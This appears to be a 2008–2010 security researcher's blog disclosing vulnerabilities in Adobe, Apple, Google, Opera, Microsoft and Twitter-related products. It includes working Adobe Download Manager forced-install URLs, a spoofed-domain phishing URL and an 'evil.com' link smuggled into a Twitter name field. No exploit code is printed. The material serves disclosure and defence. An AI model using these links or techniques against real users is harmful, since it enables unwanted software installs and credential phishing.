If at first you don't succeed; call it version 1.0
Thursday, February 18, 2010

We all know what happens when a software vendor downplays the severity of a security vulnerability. It usually comes back to haunt them, when the vulnerability is eventually discovered by the bad guys and used to exploit innocent computer users.

Microsoft, Apple and even Mozilla have all been guilty of this in the past. Lately (and sadly), Adobe has joined this train.

We all have heard about the recent zero-day vulnerabilities in several widely deployed Adobe products. Adobe’s response to some of them has been at times outrageous. As another example, I recommend reading this blog post by Mike Bailey, regarding Adobe’s response to his latest discovery of security problems with Adobe’s Flash Origin-Policy.

Recently, I found a design flaw on Adobe’s website, which allows the abuse of the Adobe Download Manager to force the automatic installation of Adobe products, as well as other software products (e.g. Google Toolbar).

Instead of admitting that this design flaw is indeed a problem which can be abused by malicious attackers, Adobe decided to downplay this issue. When ZDNet Zero Day blogger Ryan Naraine reported my discovery to Adobe, the company sent this response:

"A few important points:

  • The Adobe Download Manager is intended for one-time use. The Adobe Download Manager is designed to remove itself from the computer after use at the next restart. The user can also remove the Adobe Download Manager prior to this using Add/Remove Programs.
  • The Adobe Download Manager can only be used to download the latest version of software hosted on Adobe.com.
  • The Adobe Download Manager presents a very large user dialog box when downloading software…”

I think they missed the whole point here. While it is true that the Adobe Download Manager is removed upon computer restart, the user, who has just updated their Adobe product (usually without the requirement to restart the computer after the update), is still exposed to forced automatic installation until they restart their computer.

This specific design flaw does indeed force installation of the latest version of Adobe products. But, what if there is a zero-day flaw in an Adobe product, and you have decided to remove it from your system because of that zero-day?  This is not a far-fetched “what if”. An attacker can force you to automatically download and install the vulnerable Adobe product, and then exploit the zero-day vulnerability in that product.

This is the kind of scenario that’s common when skilled, motivated attackers are going after select targets.

And yes, you do get a big dialog box when you are forced to download the software. Like this will really matter to the attacker, when all he wants is to get his malicious software on your machine.

On the same day I published my last blog post, I found yet another issue — a remote code execution flaw in the Adobe Download Manager. Basically, what I found is that an attacker can force an automatic download and installation of ANY executable he desires. So, if you go to Adobe’s website to install a security update for Flash, you really expose yourself to a zero-day attack.

Until Adobe decides to fix this vulnerability, I’m going to withhold the technical details of how to exploit this vulnerability. But, I can say that Adobe’s claim in regards to Adobe Download Manager use of SSL in downloading the software is simply not true.

I can only hope that Adobe will not downplay this vulnerability as well.

[Cross-post on ZDNet's Zero-Day Blog]

 


Thursday, February 18, 2010 9:39:12 PM UTC | Comments [2] | Security#
Monday, February 15, 2010

Recently Adobe released a security update for a critical vulnerability in Adobe Flash (not related to the “Private Browsing” issue).
Adobe also issued a security advisory for Adobe Reader, where they plan to release an update for Adobe Reader (v9.3 and v8.2) “to resolve critical security issues, including the Flash Player issue described in Security Bulletin APSB10-06.”
So, you upgraded to the latest Flash version (10.0.45.2), and use an alternative PDF reader. You are safe from this vulnerability, right? You are probably not!
If you did upgrade to the latest version of Flash from the Adobe website, you very likely have Adobe Download Manager installed.
What is the Adobe Download Manager? “The Adobe Download Manager (Adobe DLM) is a small application that is used to deliver two of Adobe's most frequently downloaded products, Adobe Reader and Adobe Flash Player.”
Is the Adobe DLM safe to use? According to Adobe: “The Adobe DLM is signed by Adobe, uses SSL, MD5 checksum integrity verification, encryption and other methods to insure that the software you request is the software you receive from Adobe.”
Pay attention to the bold part of the last sentence. The reason I marked this part of the sentence is that apparently you can force automatic download and installation of software upon anyone who visit your website and have Adobe Download Manager installed. Safe to use, ha?

Any of the following can be forced to automatic download and install (Thanks Mike Bailey for helping me with the list!) :

  • Adobe Flash 10
  • Adobe Reader 9.3
  • Adobe Reader 8.2
  • Adobe Air 1.5.3
  • ARH tool - allows silent installation of Adobe Air applications
  • Google Toolbar 6.3
  • McAfee Security Scan Plus
  • New York Times Reader (via Adobe Air)
  • Fanbase (via Adobe Air)
  • Acrobat.com desktop shortcut

So, even if you use an alternative PDF reader, an attacker can force you to download and install Adobe Reader, and then exploit the (yet to be patched, but now known) vulnerability. The attacker can also exploit 0-day vulnerabilities in any of the other products mentioned above.

To demonstrate this issue, you can simply click the following link: http://get.adobe.com/flashplayer/thankyou/activex/?installer=Flash_Player_10_for_Windows_Internet_Explorer&a=Google_Toolbar_6.3
Please note that if you have Adobe Download Manager installed, it will automatically download and install Google Toolbar 6.3.
(Firefox users should click this link: http://get.adobe.com/flashplayer/thankyou/xpi/?installer=Flash_Player_10_for_Windows_-_Other_Browsers&a=Google_Toolbar_6.3&xpiinstalled=1)
An attacker can either send a direct link to its victims or embed this link as an IFrame on his website.

To prevent this, at-least until Adobe will fix this issue, I recommend Internet Explorer users to uninstall Adobe Download Manager via Add/Remove Programs. Firefox users should disable or uninstall the Adobe Download Manager extension.

 


Monday, February 15, 2010 12:23:35 PM UTC | Comments [5] | Security#
Sunday, February 14, 2010

It took Adobe over 6 months, and it seems that Flash will finally support "Private Browsing" in version 10.1.

You should all upgrade to this version when it will become available. Until then, your "Private Browsing" is not so private...

By the way, the latest Beta of Flash v10.1 discloses the current browsing mode (nice find, Guy A.!). I can only hope that Adobe will fix this weakness before releasing the final version.


Sunday, February 14, 2010 12:59:58 PM UTC | Comments [0] | Security#
Monday, August 17, 2009

ThreatPost’s Denis Fisher wrote a blog post about “Flash cookies and privacy” research paper, which states that over 50% of the websites are using Flash cookies to track users.
This is very disturbing, and as Denis wrote in his post, “On the most basic level it's clear evidence that the advertisers, site owners and their affiliates are continuing to look for new, less obvious ways to gather information on site visitors and track their movements around the Web”.

Unfortunately, what’s more disturbing, in my opinion, is the fact the Flash cookies can be used to bypass the new “security” feature implemented in most of the browsers today: “Private Browsing”.
According to Mozilla: “What Private Browsing will not retain - Cookies: Files created by websites, that store information on your computer, such as your preferences when visiting that site (when a website has a "remember this" checkbox, it is using a cookie) will not be stored.”. This is the same for other browsers that implement the “Private Browsing” feature.

To test this problematic issue you can do the following:
1) Open this flash (created by Philipp Kostin) in your browser "regular mode".
2) Enter some details and click “Save”.
3) Open the same flash in “Private Browsing” mode.
4) You should see the information you entered in the regular browsing mode appears in the “Private Browsing” mode.


 


 

I think Adobe should work with browser vendors and fix this. Until then “Private Browsing” is totally useless.

 

 


Monday, August 17, 2009 4:54:06 PM UTC | Comments [1] | Security#
Monday, June 15, 2009

Back in July 2006, I had the opportunity to be part of a cool initiative called “Month of Browser Bugs”. This initiative was created by H.D Moore in order to raise the awareness of security vulnerabilities in web browsers. Back then it was mainly focused on system Active-X issues, but it also provided some great examples of how, so called “unexploitable” vulnerabilities, can still be abused for a remote code execution. The initiative was a great success, in my opinion, and made the browser vendors more attentive to security vulnerabilities in their products (e.g. In Internet Explorer 8, installed Active-X controls are now not running automatically, and can be opted-in to run on specific sites).
Today, three years after the “Month of Browser Bugs”, I’ve decided to declare July 2009 as “Month of Twitter Bugs” (MoTB). I’m doing so in order to raise the awareness of the Twitter API issue I recently blogged about. MoTB could have been easily converted to any other “Month of Web2.0 service bugs”, and I hope that Twitter and other Web2.0 API providers will work closely with their API consumers to develop more secure products.
Each day I will publish a new vulnerability in a 3rd party Twitter service on the twitpwn.com web site. As those vulnerabilities can be exploited to create a Twitter worm, I’m going to give the 3rd party service provider and Twitter at-least 24 hours heads-up before I publish the vulnerability.
Even though I have enough vulnerabilities for this month, you are more than welcomed to send me (via email or twitter) vulnerabilities you find in 3rd party Twitter services. I will do my best to publish all submitted vulnerabilities. I will, of course, credit the submitter.
 
See you in July.


Monday, June 15, 2009 5:41:25 PM UTC | Comments [9] | Security#
Monday, May 18, 2009

Mikeyy wrote a twitter worm. It’s old news, I know, and by now Twitter seem to fix all the known vulnerabilities on their website.
But, let’s say that there are no more XSS/CSRF/etc. vulnerabilities on Twitter.com. Does it mean that there will be no more twitter worms? Unfortunately, the answer to that question is no.
Even if the guys at Twitter will hire the best security engineer, which will fix all the vulnerabilities on twitter.com, they still have one big issue: Twitter API.
And no, I’m not talking about vulnerabilities in Twitter API, but rather abusing Twitter API as a weak link that can allow the creation of twitter worms.

According to the Twitter Fan Wiki, there are dozens of Twitter services and applications which utilize the Twitter API. It takes only one vulnerability in one of those applications to trigger the next Twitter worm.
An example for this threat is a vulnerability I found a few weeks ago in twitpic.com website.
twitpic.com imports the profile information from twitter, and displays it on the twitpic.com profile page. While twitter.com (finally) sanitize and encode HTML tags in the twitter profile information (name, URL, bio, etc.), twitpic.com failed to do so and by that allowed injecting scripts to the twitpic user profile page. This is a very simple persistent XSS, which can be easily abused to hijack twitpic.com user accounts. However, because twitpic.com also uses the Twitter API to automatically send twits on behalf of the user, whenever the user uploads a picture or comments on another user’s picture, it can also be easily used to create a Twitter worm.
I’ve created a proof of concept, which automatically comments on a random picture on twitpic.com, whenever a user visits the twitpic.com profile of the user I created – “twitpicxss”. This could have caused anyone who visits the profile page, and was logged in to twitpic.com, to automatically send a twit on twitter.com with the content I set in the comment. The content contained a link to the “twitpicxss” profile, which could have made other users, who follow the victim, to click on that link, be exploited, and keep spreading the worm.
I’ve reported this vulnerability to twitpic.com, and they have fixed it on the same day. But again, this is just one example. As I said, there are many services and applications out there that use the Twitter API. Some of them are probably vulnerable too.


 

Twitter are not alone in this mess. This “Cross-Web2.0 Scripting” type of vulnerabilities can affect all other social networks with open API (e.g. Facebook, LinkedIn).
In conclusion, if you are the owner of a service which provides an API, fixing your own website or application vulnerabilities might not be enough…

 


Monday, May 18, 2009 10:40:14 PM UTC | Comments [2] | Security#
Tuesday, April 14, 2009

I love CORE Impact’s advisories. Most of them contain a long timeline which most of the time I find very amusing.
Usually, whenever I post an advisory the timeline is short, as most of the vulnerabilities are fixed in a reasonable time span.

Today is different. Today, Microsoft have released a patch for the “DLL-load Hijacking” vulnerability that I reported them 2.5 years ago.
I had a long discussion with Microsoft about this vulnerability, and we both had several twists as time went by.


I hope you will enjoy reading the following timeline, which I’ve tried to make it “a la CORE Impact” as possible.

 

Timeline

29/Oct/2006 – Notified Microsoft about the “DLL-load Hijacking” vulnerability.

29/Oct/2006 – Microsoft acknowledged notification.

30/Oct/2006 - Provided Microsoft with all the vulnerability details and different ways to exploit it.

30/Oct/2006 – Microsoft stated that “If an attacker has the ability to modify/replace system files on a users system then it is very likely that the system is already compromised in many other ways.”

30/Oct/2006 – I sent some clarifications, stating that the attacker has to have the ability only to CREATE specific DLL files on specific directories, not necessarily on SYSTEM directories. For example, on the Desktop or directories in the user’s PATH.

30/Oct/2006 – Microsoft stated that they will send the information to the IE team for further investigation.

31/Oct/2006 – Microsoft IE product team stated that "If the attacker can put a dll on the box in a location that is in the user's PATH variable, then they already own the box". Microsoft flagged this as a “bad behavior” which they have logged in their “bugs database“, and will fix in next version of the OS.

31/Oct/2006 – I sent Microsoft a notification that I’m going to publicly disclose this vulnerability.

01/Nov/2006 – Publicly disclosed first details of the vulnerability. I didn’t have much time to go with full details, because I had to prepare for a Honeymoon trip to Thailand with my beautiful wife.

10/Dec/2006 – Got back from a great Honeymoon, to find out that some guys were bitching about this vulnerability as a hype, a hoax or just "old news".

14/Dec/2006 – As there was still no change in mind at Microsoft, I've publicly disclosed full technical details of this vulnerability, with a Proof-of-Concept code published on Milw0rm.

21/Apr/2008 – Windows XP SP3 released. Microsoft broke their first promise (in this timeline). Still no fix.

14/May/2008 - Nitesh Dhanjani released details about a vulnerability in Safari which allows automated download of files to the user’s Desktop, without any user interaction. He named it “Safari Carpet Bombing”.

20/May/2008 – Shared details with Ryan Naraine on how to combine the “Safari Carpet Bombing” with “DLL-load Hijacking” vulnerability. I showed him a fully automated remote code execution proof-of-concept. Ryan asked me to hold of disclosure of the vulnerability.

22/May/2008 – Ryan contacted Microsoft regarding the combined vulnerabilities, and provided them with my proof-of-concept.

24/May/2008 – Microsoft contacted me and added Apple to the discussions about the vulnerability. Microsoft requested that I won’t publish the technical details until they fix the vulnerability.

25/May/2008 – I’ve denied Microsoft’s request and asked them why this issue was not fixed in Windows XP SP3.

27/May/2008 – Microsoft stated that it was not fixed in XP SP3 because of an application compatibility issue, and it will take them time to fix this. They also tried to convince me to keep the technical details until they release a patch, by promising to credit me in their advisory and bulletin.

31/May/2008 – Microsoft issued an advisory, calling the combined vulnerabilities a “blended threat”, and suggesting Apple Safari users to stop using this Safari. This was all done without crediting me for working with them on this issue.

31/May/2008 – Microsoft changed their mind and stated that they will not credit me in their bulletin because I publicly disclosed information about the vulnerability in November 2006. By that Microsoft broke their 2nd promise.

01/Jun/2008 – I refused to continue the discussion with Microsoft until they change their mind back, and keep their promises.

04/Jun/2008 – Microsoft changed their mind back, stating that this is a onetime exception and they will credit my work in both the advisory and bulletin.

06/Jun/2008 – Microsoft updated their advisory and added the acknowledgment.

19/Jun/2008 – Apple fixed their side of the “Blended threat”, and released a new version of Safari. Still no fix from Microsoft.

02/Aug/2008 – Microsoft approached me at their BlackHat conference party. They stated that due to application compatibility issues (mostly with Adobe applications), the vulnerability will not be fixed until the release of Windows 7.

19/Mar/2009 – Microsoft released Internet Explorer 8, which is not vulnerable to the “DLL-load Hijacking” vulnerability. Older versions were still vulnerable.

14/Apr/2009 – After almost two and a half years since I first notified them about the vulnerability, and almost one year after I notified them about the “blended threat”, Microsoft have finally released a patch. They broke their 3rd promise (Windows 7, remember?), but this time for a good reason.


Tuesday, April 14, 2009 8:44:57 PM UTC | Comments [1] | Security#
Thursday, October 30, 2008

If you ask any Opera fanboy, he will tell you that Opera is the most secured browser. Well frankly, it really is a good and secure browser, implementing many restrictions that other browsers simply ignore.

For example, while other browsers allow scripts running from local resources to access local files Opera doesn’t. And by that, it is almost impossible to steal local files, or execute code by exploiting vulnerabilities local resources.

You probably noticed that I used the word almost. It is almost impossible, due to the fact that one, and only one local resource, does allow you to access local files and other browser settings. The local resource is opera:config.

One of the many settings this local resource can be used to change is the mail external application. The mail external application will be opened whenever you click on a “mailto:” link, or whenever your browser redirects to a “mailto:” URL. If an attacker can change this setting it means that he can automatically execute arbitrary code on the user’s machine from remote.

 

This is of course irrelevant, unless you can actually change the settings automatically from remote, and unfortunately for Opera users, there was a way.

Today, Opera released a new version, 9.62, with a fix for a vulnerability in a different local resource - the “History Search” page (opera:historysearch). The problem was that Opera did not sanitize specific parameters correctly, and an arbitrary script could be injected to this page. An attacker could then execute a script that will create an iframe which will open the opera:config local resource. And then, it will call a script within the opera:config page, which will change the settings and execute arbitrary code on the user’s machine as explained previously.

The vulnerability in the “History Search” page was found by Stefano Di Paola, during our discussion on the full-disclosure mailing about an older vulnerability in the “History Page” that was found by Roberto Suggi and was fixed by Opera in version 9.61. I’ve created proof-of-concept codes which demonstrate the vulnerabilities. Both can be found on milw0rm.com.

 

While both vulnerabilities in the “History Page” are now fixed, the core problem which makes it possible to execute code from remote, still isn’t.

There is still no Same Origin Policy restriction between local resources in Opera. It is still possible for a script to access one local resource (e.g. opera:cache) from another (e.g. opera:config). In my submission to Opera I’ve asked them to fix this issue as well, and I really hope they will do so before other vulnerabilities will be found in more local resources.

Nevertheless, my recommendation for Opera users is still to upgrade to the latest version.


Thursday, October 30, 2008 5:47:21 PM UTC | Comments [1] | Security#
Friday, October 10, 2008

You all learned about the value of sharing. When I was a kid my mother taught me that I should share my stuff with my friends. Unfortunately, sharing is not always a good thing. Especially, when talking about sharing web-applications across domains.

Over six months ago I've discovered an interesting, yet troubling, issue - Google.com suffers from a cross-domain web-application sharing security design flaw. There are several Google web applications which are accessible over multiple google.com subdomains. The following are some of those web-applications and subdomains:

  • Google Maps (maps.google.com)
  • Google Mail (mail.google.com)
  • Google Images (images.google.com)
  • Google News (news.google.com)
  • Google.com (Google Search, Google Accounts, Google Apps, Google History, etc.)

Here's example of Google News being hosted on the Google Maps subdomain: http://maps.google.com/news?sa=N&tab=ln

googlenewsmaps

 

So, what's the problem with that, you ask? Well, there are several ways this cross-domain web-application sharing security design flaw can be exploited. For instance, one small XSS issue in Google Maps can now be exploited to hijack Google, GMail or Google Apps accounts, by bypassing the browser's Same Origin Policy. There were several XSS issues reported in the past, on some of the google.com subdomains, which are now fixed.

Furthermore, as shown by Adrian Pastor of the GNUCitizen team, it is also possible to abuse features of one of Google's web-application and then impersonate to an other. Adrian's proof-of-concept exploits a frame injection vulnerability in Google Images to inject a fake GMail login page. It then uses the cross-domain web-application sharing flaw to further convince the victim that this is a legitimate login page, from the legitimate mail.google.com subdomain.

gmailimages

 

I've notified Google about this issue several days after I discovered it, back in April. Their initial response was that they were looking into it. Today, after not getting any further response from the Google security team about this issue, and after Adrian published his proof-of-concept, I've decided to reveal this information in a hope that this security design flaw will be fixed by Google as soon as possible.


Friday, October 10, 2008 1:03:06 PM UTC | Comments [1] | Security#
Thursday, October 02, 2008

We've just passed the Jewish new year's holiday. Happy new year! It's a custom in this holiday to eat an apple and honey for a sweet new year.

Sadly, this year starts with a little bit sour Apple. If you follow my blog, you probably remember that I wrote about 2 vulnerabilities I've found in Apple's iPhone.

I have disclosed the technical details to Apple few weeks before that post, in a hope to get those security issues fixed as soon as possible. Unfortunately, two and a half months later, and still there is no patch for those vulnerabilities. I've asked Apple several times for a schedule, but they have refused to provide the fix date. Three versions (v2.0.1, v2.02, v2.1) have been released since I provided them with the details, and they are still "working on it". Therefore, I've decided to publicly disclose the technical details.

Both issues are pretty trivial, and can be easily fixed by Apple.

 

Phishing vulnerability

The iPhone's Mail application can be used to view both HTML and plain text mail messages. When the mail message is in HTML format, the text of links can be set to a different URL than the actual link. In most mail clients (e.g. on your PC / Mac), you can just hover the link and get a tooltip which will tell you the actual URL that you are about to click.

In iPhone it's a bit different. You need to click the link for a few seconds in order to get the tooltip. Now, because the iPhone screen is small, long URLs are automatically cut off in the middle. So, instead of "hxxp://www.somedomain.com/verylongpath/verylongfilename", you will get in the tooltip  something like "www.somedomain.com/very...ilename".

The problem here is that an attacker can set a long subdomain (~24 characters) that, when cut off in the middle, will look as if it's a trusted domain. The following iPhone screenshot shows an example:

iphone1

 

In this example, the text of the link is "https://securelogin.facebook.com/reset.php?cc=534a556abd1006&tt=1212620963", and the actual URL is http://securelogin.facebook.com.avivraff.com/reset.php?cc=534a556abd1006&tt=1212620963. However, when the victim will try to check what is the actual links is, he will see: "securelogin.facebook.com...556abd1006&tt=1212620963". This will convince the victim that the link is from facebook.com, where it is actually from avivraff.com.

When the victim will click this link, Safari for iPhone will be opened:

iphone2

As you can see, the address bar shows: "securelogin.facebook.co...", this will further convince the victim that he is on the right trusted domain. Furthermore, when clicking the address bar, the cursor will jump to the end of the URL. So, in order to view the right domain the user will have to scroll back, which requires a lot of clicks and patience.

 

Spamming vulnerability

This one is not just a trivial bug, it's actually a pretty dumb design flaw, which was already fixed by all other mail clients ages ago. Whenever you view an HTML mail message which contains images, a request is made to a remote server in order to get the image. Most of the mail clients today requires you to approve the download of the images. This is done for a good reason.

If the images were downloaded automatically, the spammer who controls the remote server will know that you have read the message, and will mark your mail account as active, in order to send you more spam. This "feature" is also known as "Web Bug"

The iPhone's Mail application downloads all images automatically, and there is NO WAY to disable this feature!

 

Workarounds/Suggestions

As I wrote, there is no workaround for the spamming issue. So, my only suggestion is to avoid using the Mail application until a fix is available.

If you still insist on using it, you should be careful with the links you click, as they might not be from the trusted domain you think they are...


Thursday, October 02, 2008 6:16:33 AM UTC | Comments [6] | Security#
Friday, September 12, 2008

 

Q: What is a Software Mule?

A "software mule" is a computer program which embedded, and therefore is dependent on, code of many other programs and libraries.

 

Q: Ok, I understand the definition. But, why being a "software mule" is a security issue?

By definition, a software mule embeds the code of its "parents" programs and libraries, and therefore it inherits their genetic problems, also known as - software vulnerabilities.

If a security vulnerability was found in a program or a library that is part of the software mule, it makes the software mule in high probability of being vulnerable to this security too. The vendor of the software mule will need to deliver a patch for each and every fix that was the made for the embedded code. This will take time, and will put the software mule users at risk, because the vulnerability in the embedded program/library will be already publicly known.

 

Q: So, Because Google Chrome is a software mule it is vulnerable to "Carpet Bombing"?

Most likely. As I wrote in my previous post, Google Chrome is using a mix of code of other browsers and libraries (also documented by Google themselves). "Carpet Bombing" (aka automatic file download) is a vulnerability that was found in Apple Safari and was already fixed.

 

Q: Google claims that they have fixed this vulnerability. Is it true?

This vulnerability is partially fixed. They have added a check to make sure that the default download folder is not the user's desktop. This is a good security measure, but definitely not a full patch for this issue. The vulnerability can still be exploited for a remote code execution. The proof-of-concept I provided in my previous post still works.

 

Q: Is there a workaround which can be used to mitigate this vulnerability, at-least until Google fixes it?

Yes, there is. Click on the "wrench" icon and then "Options". Under the "Minor Tweaks" tab make sure that the "Ask where to save each file before downloading" checkbox is checked. This checkbox is unchecked by default, and therefore the automatic download of malicious files is possible. 

chromesaveopt

 

Q: Well, this is a simple workaround, and I've applied it in my browser. Does it mean that it is now safe to use Google Chrome?

No. As I've mentioned before, Google Chrome is a software mule. This means that it probably inherits all the security vulnerabilities of the program's code it embeds. For example, it uses an old version of WebKit, so it is probably vulnerable to all the security vulnerabilities that were already fixed in the latest version of WebKit. Maybe even the latest vulnerability that was fixed in the latest WebKit version of the Safari for iPhone...


Friday, September 12, 2008 4:51:17 PM UTC | Comments [2] | Security#
Wednesday, September 03, 2008

In real life, when you take two species, a horse and a donkey, and mix them up you get a mule. In the browsers world, when you take a horse (Firefox/IE) and a donkey (Safari) and mix them up, you get – Google Chrome.
The new browser from Google tries to get the best from other browsers, but instead (well, at least in the current beta version), it seems to be doing quite the opposite.

The current beta uses an old version of WebKit - 525.13 - which is actually the same WebKit engine used by the old Safari v3.1. The current Safari version is v3.1.2, which fixed several critical issues, including the “blended threat” Carpet Bombing vulnerability. Google even mention that they use Safari v3.1 rendering engine in their own documentation (Thanks Yonatan Grabber for the information!)

On the other hand, Chrome borrowed (and modified) local resource files from the Mozilla project. And also, for some reason, in some cases there is an ActiveX plug-in loaded by Chrome, which might be an evidence of a capability of this browser to execute ActiveX controls.

mozchrome

I really wonder why Google have taken several features from other browsers and mixed them all together. Security wise, it’s very problematic.
They’ll have to track all security vulnerabilities in those features, and fix them in Chrome too. This will probably be only after those vulnerabilities were fixed by the other vendors or were publicly reported. It will put Chrome users at risk for a long time.

Back to the WebKit issue. I’ve created a proof-of-concept which demonstrates the automatic download vulnerability that was already fixed by Apple. This PoC will automatically download a JAR file and place it in the the downloads folder (there are reports that in some cases it will download it to the Desktop, as in Safari. In those cases, the Safari-Pwns-IE exploit can be easily converted to Chrome-Pwns-IE exploit).

Unfortunately, whenever Google Chrome downloads a file, it creates a download bar at the bottom of the page, which seems, for the untrained eye, as part of the page. The downloaded filename is displayed as a button, and the one click on this button will execute the file. If the file is an executable (e.g. .EXE, .BAT, etc.), Windows Explorer will show a warning that this file was downloaded from the Internet. In this case, Google Chrome does a good job by setting the Zone.Identifier in the alternative data stream.

coupwns

However, as was mentioned by pdp at his great Black Hat talk this August, when Windows Explorer will try to execute a JAR file, it will automatically run the associated application, which in most cases is the JRE (Java Runtime Environment). JRE will not check the Zone.Identifier in the alternative data stream, and will execute the JAR file with no warning. JAR file, of-course, should be treated as any other executable file. This is again a sort of a "blended threat". Two small issues in different products, when blended together create a much larger problem.

 

In conclusion, Chrome seems to be a very nice and slick browser, but it is far from being secured as it is advertised by Google. It borrows several insecure features from other browsers, and it has its own security design flaws.

Wednesday, September 03, 2008 7:24:45 PM UTC | Comments [7] | Security#
Monday, August 18, 2008

Do you think that just following security best practices will keep you and your users safe? Think again.

Recently, I've found 2 examples where following security best practices can actually expose you to security vulnerabilities, if you won't put your mind to it.

Example no. 1 - NoScript

Everybody who use Firefox and concerned about its own security and privacy uses NoScript. Unfortunately, for the customers of the PhishMe.com service, using NoScript will actually expose their private login credentials.

According to an eWeek article: "PhishMe, a new security SAAS offering from the Intrepidus Group, enables companies to launch mock phishing attacks against their own employees in the name of improving e-mail security...PhishMe does not collect sensitive information...JavaScript on the Web site overrides anything users actually input into fields during tests."

So, basically, using NoScript will disable JavaScript on the user's browser and will actually send over the sensitive information of the user.

Now, both of the teams here play fair in this game. Intrepidus Group follows some kind of privacy best practices by changing the HTML form to not send the user's private information over the network, and NoScript does it's own security best practice by disabling JavaScript on an unknown website.

But combined together (don't you love those blended threats?), the PhishMe.com service will try to phish users' credentials using pages which are not in the trusted domain, NoScript will then disable the JavaScript on the fake phishing page and the phished users of the fake phishing attack will eventually expose their private credentials.

 

Example no. 2 - Plain Text Emails

From "forgot my password" to "Johnny Depp wants to be added to your friends list", many services today send notification emails to their users. Security best practices wave a big "no, no" on HTML emails, and suggest that you read your email messages in plain text. There are services which already do the job for you and send their messages in plain text.

Unfortunately, what most of those services forget is that on a plain text email, a text which begins with either a URL protocol handler (e.g. http://, https://, etc) or "www.", will automatically transform itself to a clickable link, on most if not all mail clients.

This becomes a big issue when the plain text message contains a user generated content. The exact problem is described in my advisory over the TwitPwn website.

Twitter sends their users a notification, each and every time a different user has started following them on twitter. This email contains the following template:

Hi, *Your full name*.

*Follower's full name* (*Follower's username*) is now following your updates on Twitter.

Check out *Follower's username*'s profile here:

http: //twitter.com/*Follower's username*

You may follow *Follower's username* as well by clicking on the "follow" button.

Best,

Twitter

 

Now, both the Follower's username and full name can be alerted by the attacker, as it is save in his own profile. The username was restricted to alphanumeric characters, and therefore cannot be used for the attack. But, the full name was only restricted by the size, around 25 characters, enough to put the attacker's malicious http://www.evil.com link. All the attacker had to do was to run a bot which automatically follow people, and just wait for the victims to click on the links in the mails that were sent by twitter.

This vulnerability was fixed by twitter, and now you cannot use the dot character in the full name.

 

Conclusion

This post was not intended to get people to stop following security "best" practices. On the contrary, I encourage you all to follow them. All I'm saying is that following those and other security "best" practices will not make you and your users bullet-proof safe. You will now need to be more careful and think about other vectors too...


Monday, August 18, 2008 9:19:57 PM UTC | Comments [2] | Security#
Wednesday, July 23, 2008

Summary

The iPhone's Mail and Safari applications are prone to a URL Spoofing vulnerability, which may allow attackers to conduct phishing attacks against iPhone users.

By creating a specially crafted URL, and sending it via an email, an attacker can convince the user that the spoofed URL, showed in the mail application, is from a trusted domain (e.g. Bank, PayPal, Social Networks, etc.).

When clicking on the URL, the Safari browser will be opened. The spoofed URL, showed in the address bar of the Safari browser, will still be viewed by the victim as if it is of a trusted domain.

Affected versions

iPhone Mail and Safari on firmware 1.1.4 and 2.0 are affected by this vulnerability.

Earlier versions may also be affected.

Technical Details

I'm currently withholding the technical details until a fix will be delivered by Apple. Security vendors who would like to get more information about this vulnerability can contact me.

Solution / Suggestion

Apple have acknowledged the vulnerability in the Mail application, and are still investigating the issue in the Safari for iPhone.
Until a fix is available, I suggest to avoid clicking on links in the Mail application which refers to trusted web sites (e.g. Bank, PayPal, Social Networks, etc.). Instead, a user should enter the URL of the website manually in the Safari application.

 

As a side note, beside being phishable, the iPhone's Mail application is also "spammable". Apple has acknowledged this as a security issue.

This is a basic security design flaw which might already be exploited in-the-wild. iPhone users should consider stop using the Mail application until Apple fixes this issue, unless they want to be spammed.

Again, I'm withholding the technical details until Apple will deliver a patch.


Wednesday, July 23, 2008 6:34:37 PM UTC | Comments [1] | Security#
Thursday, July 10, 2008

Apple’s Safari for Windows is a nice browser. It really is. It has slick user interface, some pretty cool features, and benchmarks show that it is really fast. But, saying that it is “secured from day one” is simply not true, to say the least.

Unfortunately, Apple forgot to do the first thing you learn when you get a sunburn — learn from past mistakes, especially if they were made by others. The following are three prominent examples:

Automatic File Download

This issue is pretty simple. You visit a Web site and, without your confirmation, Apple downloads a file to your computer. Asking Apple to fix this issue was first treated as a “enhancement request.”  This security hiccup was discovered by laurent gaffie, and then again, in a different variation, by Nitesh Dhanjani.

According to CVE-2007-4424:

“…it could be argued that this is not a vulnerability because a dangerous file is not actually launched, but as of 2007, it is generally accepted that Web browsers should prompt users before saving dangerous content…”

Also, as already confirmed by Apple, this vulnerability can be used in a blended attack to automatically execute arbitrary code from remote, without user interaction.  Strike one!

Let’s move on…

Browser Fuzzing

July 2006’s Month of Browser bugs was all about fuzzing. During this month and afterwards, several browser fuzzing tools were released by HD Moore, Matthew Murphy, Thierry Zoller and I. Hamachi, CSS-Die, DOM-Hanoi and AxMan, were freely available to the public.

Going a year forward, Apple Safari for Windows was released. A few hours later, several critical bugs were found, simply by using the publicly available browser fuzzing tools.

Nothing more to add!

Cache and Cookies Predictable Location

Last but not least, a new design flaw. Apple Safari for Windows keeps the Cache and Cookies in files at a predictable location. This design flaw was already researched in the past by several security researchers. This is exactly why the Temporary Internet Files of Internet Explorer are saved in random directories, and Firefox generates a random name for the profile directory.

But not in Apple Safari for Windows. The cache.db (SQLite database file) and cookies.plist (XML file)  are saved in the user profile directory under a static named directory.

Think about a new blended threat, where it is possible to load an local XML file from remote (was possible in the past in other browsers), and in combination with this design flaw, an attacker can easily steal all of the user’s cookies and hijack browser sessions.

Should we say more?

In conclusion, before porting the Safari browser from Mac to Windows, Apple should have looked at past browser vulnerabilities and design flaws, and really try to avoid them.

The examples above show that Apple didn’t learn anything from past mistakes.

[CROSS POST]


Thursday, July 10, 2008 2:38:08 PM UTC | Comments [0] | Security#
Wednesday, July 02, 2008

I’ve just read Ryan's post about the new VLC remote code execution vulnerability. He quoted Secunia’s workaround recommendation for VLC users: “Do not open untrusted WAV files”. This recommendation is not good for two reasons:

1) VLC can play files WAV files that ends with other file extensions that VLC can open, e.g. MP3 files.

2) An attacker can place an webpage which uses the VLC ActiveX for IE users to play the malicious WAV files (installed by default by VLC), or just redirect to the malicious WAV file for Firefox users who installed the Mozilla plugin (not installed by default, need to be manually selected, or installed if the user chooses the Full installation).

The best suggestion is of course to upgrade to the latest version, or use an alternative media player.

So, After reading that post, I got Ryan’s twit where he asks if VLC has an automatic update mechanism. That was a good question, and I did remember that VLC had some sort of update mechanism.

For my surprise, the latest unpatched version, v0.86h, didn’t have that option. So, I tried to go few versions back (using the awesome OldApps website).

Version 0.86 did have the “Check for Updates” option under the help menu. Clicking on it brought a new ugly window with only one button, of yet again, “Check for updates”. Clicking on this button did absolutely nothing.

clip_image002[4]

